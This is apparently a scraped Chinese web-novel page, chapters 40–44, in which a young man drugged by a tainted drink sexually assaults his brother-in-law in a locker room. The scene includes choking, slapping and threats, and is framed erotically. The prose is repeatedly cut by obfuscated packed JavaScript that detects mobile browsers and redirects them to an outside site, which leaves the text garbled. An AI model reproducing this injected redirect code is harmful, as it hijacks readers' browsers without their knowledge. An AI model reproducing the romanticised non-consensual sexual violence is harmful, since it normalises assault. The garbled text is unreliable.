卡兹教授说过,唯物主义观点已经统治世界超过三百年的时间了。这种公共的催眠从出生开始,在接受高等“教育”时达到顶峰。那些受“教育”程度最高的通常就是最坚持“公认的现实导向”的人,完全不能接受另一套世界观。费曼就是一个典型。 “也许,我只是想了解你的世界。”费曼波澜不惊,但是微微转动左手上的尾戒,“或许有时候,我太傲慢了。就像柏拉图的‘洞喻’,人们都被限制在一个洞穴里,只能看到一个虚影的世界。” “但我呢,听到‘白韦德’三个字,我的大脑就跳闸了。除非你告诉我,他的坟墓你已经掘好了,那样王子殿下,我就会单膝下跪,为你擦亮每一寸靴子。” 换个人来,肯定要问下去的。但是费曼看着他,没有说话。可能蓝珀本就是个裹在重重疑云里的人,一会儿酷爱搬弄封建迷信,整个纽约州找不出第二个比他更像男巫的人;一会儿就像今天,卡兹教授话里话外明明在力挺苗族的信仰,蓝珀却说人家是智商洼地,一句话八百个笑点。种种自相水火的矛盾在他这儿并行不悖,他好像尤其擅长自己跟自己过东瞒西骗的日子。 费曼觉得不合适呆在这,蓝珀却不让他走:“我的灵体受到了伤害,你说你道个歉就行了?我约了客户打高尔夫,一起放松一下?也许,也能帮你挽回点什么。” 两人下了电梯,到了停车场,蓝珀才说会客内容不是高尔夫,是篮球。车子发动了,十字路口不得不拐弯了,蓝珀才接着指示,不是去麦迪逊广场花园尼克斯主场看NBA巨星,而是瞅瞅高中生互啄。费曼搭着方向盘的手只是片刻没动,蓝珀上手替他转了向还有说有笑,赶紧的。 40. 淡粉轻脂最可人 车子缓缓驶入霍瑞斯曼高中,轮胎在碎石路面上发出轻微的声响。费曼停好车,侧头望向副驾驶座上的蓝珀:“我们到了。” 蓝珀的一只手搭在车窗的边缘,指甲慢慢地划过表面,文文静静地消磨时间。窗外,那些高中生一放学就像被风卷跑的野草籽一样从校门口散开。蓝珀有些羡慕他们的元气,真是他从没有享受过的青春岁月。 两人在车里小坐了一会,蓝珀就变得格外沧桑了一样,淡淡的疲惫:“我有点想打退堂鼓了,我这么突然出现,感觉会吓人不会让人开心。” “太可怕了。”蓝珀摇了摇头,把上周和小舅子闹僵的事说了。 他先说自己动了肝火,伤了斯文,又落得埋怨,坦白不是个好家长,然后建议咱们打道回府吧,最后峰回路转:“费曼,我觉得你一定是个好爸爸。” 费曼带着一种可以触摸到的冷静,把视线移开,再把脸转走一点。蓝珀接着说:“相比我认识的一个香港钢琴师。” “何崇玉?” “对哦,我应该跟你说过他。” “我认识他,比你更早。” “在哪?” “马术比赛。” “真的吗?谁的马跑得快?” 费曼没回答。蓝珀又催了他两遍,对方还是不直说。蓝珀就摁了他安全带的按钮,带子自动收紧了半圈,把费曼紧紧地绑在座位上了一样。蓝珀也不管他了,自己下车了。 捎上车门的时候,才听到费曼说:“你自己来看。” 前往体育馆的路上,蓝珀还在以人为镜,他说何崇玉是会把亲生儿子桃太郎一样漂走的那种爸爸。 蓝珀解释:“带你一起是为了让你看着我,免得我一见到人又说出什么心急后悔的话。” 因担心项廷抱有偏见,蓝珀还准备对费曼的身份加以藻饰。蓝珀说:“情节荒诞不要紧,但演技要尽量自然。” 到门口了,白谟玺一个查岗电话来了,蓝珀很诚实。 白谟玺惊奇:“你什么时候对那臭小子这么上心了?记得他飞美国前,你不是祈祷了好几周希望他的飞机掉下来吗?你还说去接机,是因为打算开车撞了他把他撞成肉泥,撞上一百次也不多。” 蓝珀说:“得到了神的祝福和恩光,我放下了过去。现在,我要拥抱神为我准备的新生活。” 白谟玺也不深究。蓝珀就像是春夏交替的天气,每时每刻说变就变。傻子才会跟他事事都争个子丑寅卯,谁跟他半封建半资本主义的散装大脑计较啊。 体育馆外早已停满了各式车辆。门口的志愿者们忙碌地检票、引导人群,摊贩们吆喝,空气里充满了爆米花和热狗的香气。 霍瑞斯曼高中的学生非富即贵,观众席的家长当然也是星光璀璨。几乎每位母亲都穿着香奈儿套装,或者圣罗兰裤装,亮闪闪的包包挂在苗条的肩上,她们不仅为自己,更为孩子和另一半在社交圈里混得开而打拼,辛苦维持着社会地位,活动接活动,忙个不停。现在流行给脚打麻药,这样就能穿那种超痛的高跟鞋整晚都不觉得疼。有位妈妈在冷飕飕的早春只穿了条简单连衣裙,虽然冻得直哆嗦,但她赢了,比所有人更早抵达终点线。接下来如果再有人穿这件普拉达下季度才发布的成衣,就是在学她了。太多曼哈顿人热爱时尚,但这种夏衣冬穿、冬衣夏穿,不惜冷死热的事跟时尚八竿子打不着,重点只在于要比别人先穿。前排还有几位当红歌手、好莱坞影星,自带长枪短炮,摆好了造型拍完了照片,比赛还没开始,这些几位家长纷纷走了。高调出席,低调离场,全美的媒体已收到通稿,《巨星爸爸深情守护,父爱满溢闪耀全场》。 在贵妇妈咪扎堆的地方,两个西装革履的投资银行家该多么格格不入。一个残酷的事实就是曼哈顿的社交界男女泾渭分明,女人有女人组成的委员会,总是成群结队地出没在孩子艺术班旁边的高级早餐店、豪华健身房或SPA,而有钱有势的男士,参与育儿的活动顶多就是出现在学校的筹款活动上——那里绝对没人带着老婆。费曼便看着很典型,尤像数个重磅董事会的成员。 蓝珀却突破了权力世界的性别隔离,他说这条裙子真是太合身了,但说到惊艳,还是你的这对耳环胜出;他说今天没人比你瘦,你在瑜伽课上的努力真的看得见,能不能把教练也介绍给我?他还预支了对方小孩今天在赛场上的表现,说每次看到他打球,都惊叹他简直是天生生来为篮球而生的。费曼话少,蓝珀就解释他今天扁桃体发了炎。 最后,蓝珀跟这所高中的家长会会长说:“高盛是一个大家庭,我很荣幸可以服务这么多的客户。当然,我更希望你可以加入这个大家庭,在你需要我的时候,我会第一时间出现。” 比赛即将开始,家长们都落了座。忙碌的蓝珀也坐了下来,笑着对费曼说:“请看,老板,我来这儿是为了工作。” 不远处还空了个座位。白希利故意晚到,本打算压轴出场,他今天穿着那么超前,肚脐眼儿一闪一闪的。猛然却见到了蓝珀,白希利一只独眼的白眼翻过去差点没翻回来。 球员入场,凯林在主持人的介绍中,走过选手通道,全场欢呼声爆棚。然而他扫向观众席的第一眼就看呆了,一分钟之内被闪电击中十次,震惊充斥他那夸张的胸大肌,显然更加鼓胀。他窈窕若仙的心上人分明是在跟别的男人讲小话,说一会笑一会的,凯林远远的却也跟着嘴角旋转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398227|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,毛毛的大手从摸着自己的后脑勺摸到了后脖子。 直到最后一个选手进了场馆,都不见项廷的身影。 蓝珀还来不及奇怪,电话响了,他要出去接。 费曼出奇、破格地关心了一下谁打来的。蓝珀:“西藏喇/嘛。” 电话打了二十来分钟,蓝珀回到座位的时候,比赛正好进行了半场,现在中场休息。大屏幕上分差8分,蓝珀不清楚哪边是哪边,问费曼。费曼说:“落后一点。” 蓝珀的手机还亮着,忽然不可思议地来了一句:“你从没见过他,怎么就知道他在哪队?别告诉我你也暗地里查了我什么东西哦。” 费曼淡淡道:“只有一个中国人。” 蓝珀笑了下:“对不起,我的头有点热乎乎的,我打算去买点冷饮降降温,你也要一杯吗?” 蓝珀走到外头的铺子前,刚排上队,背上突然一阵湿冷。蓝珀转身,一股粘稠的奶昔沿着他的衣服往下流。站在他背后的不是别人,正是白希利。白希利手里拿着一个空空如也的奶昔杯,还没有泼过瘾一样,一脸的嫉恨:“希望这不会毁了你的衣服——就像你过去毁了我一样!” 话音刚落,白希利就被同样出来买喝的凯林提到了半空:“那我现在毁了你!” 蓝珀没有过多展示他的风度,只是问了□□育馆的更衣室淋浴区往哪边走。凯林急忙丢下白希利,亲自给蓝珀引路。白希利在周围人热辣的眼光中艰难爬起来,又骤然感到大地的震颤,凯林像个泰坦似得又回来了。蓝珀沉着脸不紧不慢地洗手的时候,白希利已经被揍成手打鱼丸了。 这儿离球员的更衣室一步之遥,蓝珀忽然听到轰的一声响。好像,来自隔壁的墙。 洁癖的世界末日降临。蓝珀心跳加速,呼吸急促,手心出汗,脑海中不断重放那一刻被弄脏的噩梦。每一颗奶昔的滴落都是敲打在心窗上的重锤,蓝珀已然支离破碎。水龙头淌了十分钟的清水,蓝珀的双手还在细细颤抖。如果事情可以重新来过有挽回的余地,他愿意付出一切。 同一时间同样崩溃的还有项廷。上半场的比赛他姗姗来迟,频频失误,只因为赛前喝了一瓶饮料。那是兄弟会的内部特供,市面上根本买不着。白希利五次三番力荐过,他说那是专家研制,能量饮料,让人超水平发挥,焕发男子汉气概。当时没有用武之地,项廷便囤了十罐留到今日。所谓的“红牛”一下肚,果然五感一下子有如天人,但是随之而来的便极为尴尬而无助。幸好,幸好赛场上还没有显了形! 于是空无旁人的休息室里,下半场比赛还有十分钟开始之时,项廷绝望地感到那里被毒马蜂叮肿了似得,只能满腔愤怒,一拳砸向了墙壁。 41. 嫩蕊商量细细开 蓝珀的太阳穴突突的跳起来。他叫住一个路过的队员,对方说项廷身体不大舒服,要求一个人静静。 队员撂下话就跑出去看热闹了。好像是凯林和白希利,事情闹大了,一发不可收拾。白希利振臂一呼,叫来了八个前男友队长,九大仙帝战至大道尽头。 所以正当项廷对自己进行了一些病急乱投医的尝试,老天爷,如果他能使劲按着那个硬肿块,马上把它给按没了就好了的时候,门外透心凉、鬼片一样传来了他睡里梦里的那个嗓音:“项廷?” 蓝珀啧啧发出如抽水烟的声音,说:“下半场马上开始,你怕了,不想比了是不是?以后别当胆小鬼,有事就跑,真没出息。你别以为惹我生气我就会放任你去不务正业!” 今天,蓝珀的确是抱着修好的目的来的。然而他的好心情都被一杯奶昔化为乌有,仿佛整个世界都在与他为敌,嘲弄他的无能为力。被击溃了的蓝珀觉得这世界爱怎样怎样吧。 项廷本能地想装不在,或者硬着头皮乱嗯几声,敷衍过去。可是姐夫张嘴就是最难听的话,这还是人说出来的话吗?自己已经退避三舍,他居然还特地找上门来冷嘲热讽,当着人的面幸灾乐祸?真是把自己当成他寻欢作乐享受优越感的工具啊?是不是这辈子都没法从他手指缝里逃出一条命来了?红牛就是被他掉包了吧! “别跟我玩把戏了,好好的到底哪有毛病了?开门,我叫校医来,敢撒谎有你好看。” “你别说了!你什么都不知道!” “我还什么都不知道?真是见鬼了,你三岁头上几根毛我都数得清楚!” “滚!” “可真好听,再汪一声?” 项廷再也没了回应。蓝珀取了墙上的一串钥匙,试了几把以后便打开了门。更衣室里空无一人,蓝珀的某种第六感却很强烈。他先反锁上了门,然后信步闲庭地踱至一套衣柜前,抱着手臂,笑得很愉悦:“这么喜欢呆在柜子里,是想要成为柜子的守护神吗?” 房间里很安静,静得几乎可以听到蓝珀腕上手表指针走动的声音。桌上、地上倒着几个空饮料罐子,上面一个字也没有,看着像小作坊的三无产品。 柜子可没有门锁。蓝珀握住了把手,正要让里边的小妖怪现出原形时,更衣室外传来了白谟玺的声音。 白谟玺真是有火发不出:“All right!我可以大度地忽略Lan与你的私下约会,但赫尔南德斯先生,请你告诉我,他为什么会在你的眼皮底下受到如此之大的伤害?” 白谟玺作为校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周围挂满了备用的球衣,足有几十件。空气里混合着淡淡的樟脑丸和肥皂水的味道,蓝珀直发晕,就像是中了暑,透不过来气。项廷的胸膛像短跑比赛完了那样起伏,脖子也又红又粗。蓝珀被他手掌的温度吓了一跳,差点被烫掉了一层皮,再碰一下就化成一柱香灰了。看来,项廷是真病了。 “怎么?有人赢不了比赛就决定大疯一场?放开我,别把我也拉下水。”蓝珀被他扭得痛极了,试了各种办法把手抽回来,但是每一次的挣扎都无果而终。 “逃?”项廷的身体更加靠近,挤压着两人之间仅有的空间,“别想了。” 蓝珀对他突然有一种很陌生很没有把握的感觉。后知后觉地想起了满桌的空瓶子,疑心是不是什么含毒饮料,诱发人激情犯罪,脑袋里只剩下追求快乐。 蓝珀尽量镇定地说:“抽大/麻了?别这样,姐夫可不想报警。” 这句话似乎威慑到了项廷,他稍稍松开了蓝珀的一只手。 就在蓝珀的手要推开他的时候,项廷再次捉住了它。 放到了,它最该在的地方。 就像一颗莹然粉光的淡水珍珠,突然摁在了烙铁之上。 (……) 项廷这到底是灌了几斤迷药下去?雪崩都没有他崩得快,估计这会儿他对Y字线条都有反应了! 蓝珀那一瞬间的害怕,居然轻轻松松了越过了一个洁癖本该有的厌恶、一个姐夫本该感到的荒诞:“你疯了,你疯了!活梦里了!” “我是疯了。”项廷牢牢摁住他的手,握住了它,用最柔嫩脆弱的掌心包裹住了滚烫的顶端,“你也逃不掉了。” 蓝珀一眨巴眼连挣扎都忘了:“你看看我,想起点什么?我是谁?” 项廷笑了笑:“姐夫。” “不,不……知道吗?我姓蓝……” 蓝珀想提醒他,苗疆的那段往事。他那时把项廷当作自己的亲弟弟,数载相依为命。后来家乡被大火烧尽,连一片瓦都没有了。过去如此多年,蓝珀如今想起来他就恨得牙痒痒,见到他了又心里发酸,已将他视作自己在世上的唯一至亲。撇开姐夫的这重假身份,和弟弟之间要是胡搞了才是最蔑伦悖理的! 项廷说:“这种时候你终于不逼我叫你姐夫了?你总是说我像条狗,被你玩得团团转,一见到你就应该摇头摆尾,因为这样才有好日子过。要是你赏饭我不端碗,你就一脚踹过来,数数,你打了我多少个耳光?数得过来吗?你还要怎么样?我真是想把你碾碎了,看看你的心是怎么长的。哦,你没心,你的心在别的男人那儿,尤其外面的那两个那。那又怎么样?可惜,你的人已经在我这了。” 蓝珀一边窒息一边听完,像踩在棉花上,渐渐有点站不住的感觉:“你真本事了,这都什么跟什么呀,有话好好说……” 项廷看他平时傲慢得像打了石膏的脖子垂下去,张开五指扼住了他的喉结,提住了蓝珀,逼着他与自己对视:“说什么?想听什么?姐夫?好听不好听?” 项廷一手攥着他的脖子,一手覆着他的手□。那手犹如初春抽芽的柳条般柔嫩,触感如丝,滑过了□都将将留下深红浅红交错的痕迹似的。蓝珀既无法说话,更无法抵抗,只能任由自己沦为一个最廉价不过的□用具。 对方滚烫至极的气息扑在脸上,每一口呼吸对蓝珀都是一次莫大的折辱。项廷似乎要把往日受到的羞辱,千百倍地奉还回来:“姐夫?叫一声你是姐夫,不叫你,你又是什么东西?你这种同性恋、婚外情,有精神疾病,喜欢心理虐待的人,你这一辈子活该没有人会真心对你。反正你也不在乎,你这样的人,永远不懂什么叫真心!我总有一天杀了你,你死一万次都有余了!” 蓝珀的嘴唇在发抖,所有的一切都在眼中旋转。昔日的小小故人逐水漂流回了身边,一切鲜活如昨,以为他也像自己,我们都对彼此都放心不下。可他兀然忘了一切,竟然还对自己做出这种事、说出这种话! 蓝珀的声音也在发抖,全身都在用力,从受压的喉咙里勉强挤出来三个字:“你骗我……” “对,我骗你!我不仅骗了你,还要杀了你!” 项廷把一个杀字挂在嘴边,蓝珀那一刹那在想,他也许真的想掐死自己。这些年一个人孤身在外,零零碎碎,样样都经常让蓝珀觉得很难过,这种难过又是根本无处倾诉的。项廷终于松开脖子上的手,看蓝珀筋疲力尽一样,什么也不说了,兴许他还觉得蓝珀的难过永远是很表面的。 然而接下来等着他的,就是邦的一声! 项廷的警觉稍有松懈,蓝珀就在紧张地寻找机会。他慢慢、无声地将手伸向那一排三角形衣架,小心翼翼地没有引起任何声响。凭借一股绝望的力量,朝项廷的头砸了过去! 砸准了吗?挺准的。 那砸到了吗?不可能。 项廷不是一般人,空中、海上、陆地,他是曾经的三栖特战尖兵。部队里说,作为特战队员最大的光环就是籍籍无名,所以他从未向美国人提过他的服役史,蓝珀至今还把他当个乳臭未干的毛小子呢! 项廷面无表情地把衣架拿下来,又放回了蓝珀的手中:“来,我让你打。” 蓝珀握着那凶器,铝合金的三角,已经在无意之间被项廷捏扁了。 逃出去的希望,就也如它,粉般碎了。 刚才的动静让大衣柜也摇了一摇,吸引了巡视一 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蓝珀脸上火辣辣的,另一只手又是捶他的肩膀,又是抓他的后背:“放开我!畜生!畜生!” “你自己找的,怪我了?”项廷似乎很洒脱开怀,嘴角一扬,“憋得难受放松放松,姐夫帮帮我,怎么了?” “你冷静点,我们出去走走,我找曼哈顿最漂亮的姑娘陪陪你……” “你不就是吗?” □□。不但如此,蓝珀被他揽在怀里脱不开身,项廷还将舌头深深地伸进了他的耳朵里有力地顶送,含住了他草莓果冻般的耳垂吮吸,密不透风地如裹住了一枝瓷玫瑰,直要把他舔到求饶才行。项廷想要把他身上缥缈的香气全部吃掉,一口包住了他的耳廓,牙齿咬上来,一咬一汪水。蓝珀就像烈日下融化的一座奶油塔。蓝珀的指间平常偶尔会夹着一支香烟,和咖啡一样,用来提神。项廷也把他夹烟的手指含了进去。 “为什么,你为什么……!”蓝珀如在火狱一般煎熬。 “因为你会炼蛊,给我下药了。” 项廷指代不清,也许是在说那饮料里有问题,蓝珀搞的鬼。然而蓝珀呆呆地听了,心里被针刺得一跳,心跳得近乎发虚。他想起了那时,自己被族人囚在蛊池里,是项廷悄悄地代他受了刑,用比自己幼小得多的身体吸尽了那些剧毒。人世上若真有蛊这种东西,必是那时深深种下了。到头来,归根结蒂,总是自己害苦了他。 “……你这样不行。”蓝珀的声音渐渐轻下去,最后几乎听不见了。 体育馆外,群架还在升级。校园里假日游行的队伍沸腾,铜管鼓声响彻云霄。而后街一条极尽幽静的小巷里,馋猫叼走了一条鲜鱼。 蓝珀不啻是想要与那些罪孽一笔勾销的:“我帮你夹出来。” 43. 牡丹破萼樱桃熟 蓝珀垂了眸,那素来戴着天价的豪表、签字笔尖的墨水一日之间哗哗淌过不知凡几英镑美金的手,捧上了 (……) “快点,你还要比赛。”蓝珀蹙着眉头。他不知道外面战况,因为乌龙,比赛早就改日了。 “快不了,怎么办?” “不怎么办。”蓝珀冰着脸。好像他从不是长袖善舞的,他性情冷淡,天生不爱笑不善与人交往,一辈子不认识几个人。 话里岂止一点屈尊低就的意思:“这么点个小花生自己心里没点数吗?给你脸面才敷衍敷衍你,怎么了?” 一片漆黑里,蓝珀还能清晰地感觉到一种雪地里的狼才有的凶恶眼神,正在无比直白地盯着他。 蓝珀不和小孩子一般见识,事不关己地转过身去。他故意踩在一个扁鞋盒上,然后才一只手撑着衣柜的门微微躬身,一只手绕到腰后,□□,但一切显得十分僵硬又无所谓:“动,会不会?” 正乖乖地撅着臀对着他的人,不是别人,是他的姐夫。他的身体是为了自己别扭地扭曲着,他的屁股就送在自己的眼皮子底下,唾手可得。安静的衣柜里只剩下项廷突然加重的呼吸。 而蓝珀呢,大大方方的家长似的,貌似以家庭性教育的姿态,讲解人生快乐开发的第一课。打飞机嘛,就像吃饭喝水,用不着不好意思。只要飞时愉悦,飞后放松,不胡思乱想、不祸害别人家姑娘就行了,就还是爸爸的好孩子。 “都是一家人不要那么害羞…… 呃!” 蓝珀忽然惊喘一声。 (……) 项廷想干什么? 蓝珀一闪而过的答案使他恐怖得要叫出来。他脸一侧就把项廷的脸咬了个正着。项廷伸手抬着他的下巴把他拿开,蓝珀就狠狠咬在他的手背上。项廷却没有缩手,而是用另一只手扣住了蓝珀的脸,就那样吻上来。 所有的日月星辰都在旋转,唇齿相接的那一刹那蓝珀几乎昏了过去,火烫滚沸、丛林野兽一般的气息像电流一般麻痹着他的四肢。项廷抱住了他,完全凭着蛮力亲他,痛得他泪水盈眶。蓝珀穷了永世也没办法忘记,忘记这个弟弟,忘记当年是他救了他的命也毁了他的家。那年那男孩说,我会在枫香树顶挂上花带,等着你来,带上你走。他说我保护你,终生有靠。他们却未能见到最后一面。那天少女眼中闪烁的泪花朵朵干枯,如今却在这溽暑般的吻中返了潮,潮信般泛滥开来。 项廷感觉怀里的人周身一软,他呜地一声哭出来,蓝珀也就在这时忽然温顺下来了。项廷看不见这是为一种悲哀,他更加放肆地攻城掠地,手掌从姐夫的衬衫下摆伸了进去。蓝珀惊恐地拢住衣领、攥住门襟,全然尽是徒劳。 衣架发出刺耳的声响,剧烈的扭打使整个衣柜摇摇欲坠。 衣柜门猛地被冲破,蓝珀踉跄几乎要跌倒时,项廷圈住了他的腰,推倒在了长条的更衣凳上。 白蝶贝的纽扣如玉盘珠玑飞溅,月影灰天鹅缎绒的西装外套若花羽坠地。再纷华靡丽的衣裳也只好像粗涩毛糙的笋壳,剥开才是那宛如初雪般的身体。它把人世间的美色发挥到了极致,为他深情是理所应当的,舍死忘生的爱献给他是完全说得过去的。 蓝珀心中那个过去笑起来时苗疆的天空一般纯净、现在十八岁花样年华的大男孩,现在眼睛都红出血了,将自己按在了窄窄的皮椅上。蓝珀缺席了男孩后来的青春期,不知道那个混乱割据的北京城里,项廷最是一身枭雄气。有一回对面的老大被劈倒在地,两眼瞪天的死了,审不出来谁干的,这帮大院子弟才因此被一并送进了军营。 脆弱的衬衫一撕就开,项廷没有扯下它,只是手掌伸了进去。蓝珀的胸脯漏出几绡水胭脂色的蕾丝。一片冰肌玉骨却穿着女人的内衣,荏弱纤瘦竟偏偏这里能捧起来微微几许娇肉。 “这是什么?” 项廷握住一只小巧的□□晃了晃,“姐夫,你真的是男人?” “不行,不行!” 蓝珀抓住他的手腕奋力想要推开,却换得一对白嫩嫩的胸都被人掌握在了手中。蓝珀被捏到了□的一刹那间反应居然是立刻合紧了双腿。 这个动作反而提醒了项廷似的,他俯身吻住了蓝珀,舌头强硬地顶住了敏感的上颚□□,同时指甲划过娇嫩的□,趁着蓝珀自顾不暇的时候,一只手伸进了他的西装裤里,果然摸到了同样的花边织物。 项廷说:“穿给谁看。” 蓝珀不可能回答。项廷的手就覆着那最滑嫩柔腻的地方,像在确认了那不是女人的□□一般。亲吻铺天盖地地落下来,又急又密,蓝珀透不过气来,四处都是他的气息,都是他的掠夺,只能去用手揪他的衣领。可是篮球上衣哪有领子,项廷一只手按着他的胸,一只手从脖子拽掉了自己的衣服。精炼矫健的□□近在咫尺,完全不是他窄肩薄肌没长开的同龄人。蓝珀这才认清他一直以来以为的 “小孩”。都是自己的轻忽,一厢情愿,项廷早就不知何时变得这样成熟,如此危险了。 项廷掐住了他的脖子。手掌很大脸很小,项廷掐脖子的时候还能卡住蓝珀的下巴、掰正他的脸:“姐夫,我在问你话呢。” 蓝珀当然只稀得给他一片眦裂的怒容。 一个干脆的巴掌,就落在了一顾倾人的一张脸上。 蓝珀完完全全怔在了当场。顷刻间那么漂亮的眼睛里被泪水一铺,这样的人哪怕平常再讨人厌此刻也让人狠不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人撕咬过数个来回,蓝珀有气无力,深深的两个呼吸以后,终于他说:“我打过你、骂过你,我只是逗逗你,因为我和你在一起的时候经常会忘了自己是谁。都是我不好,我过分,我蓝珀不是人!我可以跟你说对不起!你要什么我都给!而且,我们……” 等不到蓝珀说出陈年旧事,让两人误会尽除的下一句话,项廷就痛痛快快放开了他。 噩梦结束了吗? 项廷走向储物柜,把自己的背包拿出来,口袋里翻出来一枚薄薄的方片。 避孕套。 那个蓝珀亲手送给他的生日礼物。 项廷说:“不要你认错,我要你受罚。” 44. 合叶连枝付与郎 从前在北京,三五哥们买上几瓶劲辣的白干酒,二八大杠踩成了风火轮,穿梭胡同,直奔圣地 —— 录像厅。那些片儿里头,有江湖更有风月。物资匮乏、精神空虚的年代,香港三级电影成了一代人的世界之窗,十五六岁踌躇满志的雄性荷尔蒙找到了宣泄口,多看看青春痘都下去了。播到热血沸腾之处,口哨和叫好此起彼伏,就有人急赤白赖地争上一句,这是我的妞!在座的其他道友也不计较。北京人还管漂亮姑娘叫蜜。一晚上就这么过去了,妞或者蜜也换了一个又一个。项廷回家,项父问他哪混去了,项廷说去看样板戏,沙家浜。 几部影视资料以后,就知道个大概了。来到美国之后,更有兄弟会现场的见闻 —— 他们那种在异性恋看来无异粪坑里炸炮仗的□□方式。小电影哪有活春/宫印象深?项廷被日久熏陶,成为理论专家。然而自信、野心是一回事,行动,另论。真实情况与愿违,这些道听途说的技术哪里过得了蓝珀这关。 (……) 不知道这是午夜几点钟了,仿佛就是突然间,炎热和阳光消失了,他们置身于凉爽、黑暗的平行现实中。 半梦半醒,蓝珀吃力地撩开眼皮,只见项廷打开了窗帘,背对着他,在一小块月光下坐着。那背脊中间凹下去一道蛮深的沟,这是年轻的背脊,肌肉流畅的背脊,开阔,紧实,线条分明 —— 到了腰腹那儿,十分雄劲有力地收了进去。 蓝珀无声靠过去,从后面抱住了他,侧过了下巴,下巴搁在了项廷左边的肩膀上。他听到项廷的心跳也缓缓地平静了,有了它的组织性,有了它的纪律性。蓝珀静静听着他压抑、紧张的呼吸声,项廷忽然像被聊斋里的女鬼爬上了身似的,突然就回过神来不合乎周礼了,一惊非小,猛地站起来,蓝珀差点撞在了花瓶上。 蓝珀却又塞壬一样伏在了他的肩头,水草一样的手臂缠着他,浅浅地亲着他,慢慢摸着他的硬实大腿:“怎么了,不想来了?” “… 来什么?” “就那个呀,姐夫喜欢你和我胡闹。来嘛,给你一个体现男子汉的机会嘛。” 蓝珀散发熟透的、十分煽惑的味道,但语气又冷丝丝的,“当然可以来,但你要怎么走?” 项廷一言不发,夜里冷,他扯过自己的外套,给蓝珀披上。蓝珀却说:“不要,光着才漂亮。” 项廷执意不让他着凉,蓝珀便很错愕的样子:“难道你不喜欢姐夫吗?那你今天出门买个丝瓜瓤不也可以吗?好呀,快活完了,你还不多让让我哄哄我,你能吃多大亏呢?” 项廷不对视,蓝珀就卷着他鬓边的头发,绕在了手指上:“姐夫想男人想得厉害,想得活不成了,你那个□□姐夫不想回家了。但是什么都比不上宝宝的小嘴… 宝宝的小嘴喝奶都能把妈妈咬出血呢。” 项廷突然攥住他的手腕,转过身,把他压在了身底下。 蓝珀以为他又要逞凶:“你怎么这么蛮啊,又气上了?姐夫伺候你还伺候出孽了?” 项廷说的却是:“我会对你好的!” 蓝珀看着他像模像样、郑重其事的样子,扑哧一笑:“有多好?” “好到你都不相信是真的。” “哦!要是明天天塌下来了呢?” “我想办法顶回去。” 蓝珀又要笑出泪来了,笑完了,项廷还在凝重着,蓝珀笑眯眯地说:“你不要呼吸,别浪费空气。” “你恨我了。” “我不恨。” 蓝珀说了一句很像蔑然、挑衅的真话,“你是弟弟。” “那你不说话了。” “嗳呀,肚子好大,吃饱饭胀胀的,话都说不出来了。” 项廷意识到,蓝珀有点不对劲。蓝珀平日信起教来,逢人便说自己信得多天花乱坠,其实,他假痴不癫。而现在,他每一句如此自轻自贱的话,才真正有了谵语的味道,病得十分不轻。 “蓝珀,蓝珀你跟我讲讲话……” “项廷,你快死了,这事你知道么?” “怎么个死法?” “不知道呢。但是能盼的,又只有来世了。” 项廷隐隐觉得哪里奇怪,像一团毛线露出来了个线头:“为什么叫我弟弟?” 蓝珀奇道:“你不是弟弟吗?那,就刨开姐夫和妻弟的关系,我们今天呢,之间全是市场行为。我不气,因为就像炒股你不能跟大环境赌气。” 项廷扶住他的肩,问个究竟,蓝珀倒是先安慰他起来了。他说就活在现在吧,别去借明天的忧愁。今天没事,做个不太正常的人也无妨,疯一场,是释放。 蓝珀趴在他背上,歪歪地枕着头,像个盲人似的,认认真真地摸他的眼睛、嘴巴和脸,接着捏住他小狗一样凉湿湿的鼻子,真的不给他吸一点气,要他死远一点。 良久,蓝珀十分飘飘然、快要羽化地说:“你呢,很轻易就毁了我的一生,又一生,我想你现在应该满意了。我却从来不欠你什么,就算是还债,我也还得够了。” 说完这句话,蓝珀就像一株走完了生命周期的寄生女萝似的,从他的背上滑下去。蓝珀感觉自己散发着咸鱼似的骚味烂味,身体像剥开的大白蒜,霉了,哪儿都是黑斑。可这一坛子死水本都发臭了突然涌进来一股乱流管他是清是浊呢,不好不坏、无悲无喜的事也太多了,若有似无地恶心着。别了,繁华又失控的人间,睡了。 项廷打开窗户,一道春风吹在脸上如刀割一般。自尊和理智一瞬间回来了,他听到内心的声音清楚而尖锐:一切都毁了。 项廷坐回沙发上,旁边的蓝珀像堆受潮的糖沙,塌在了那里。蓝珀在做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398231|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 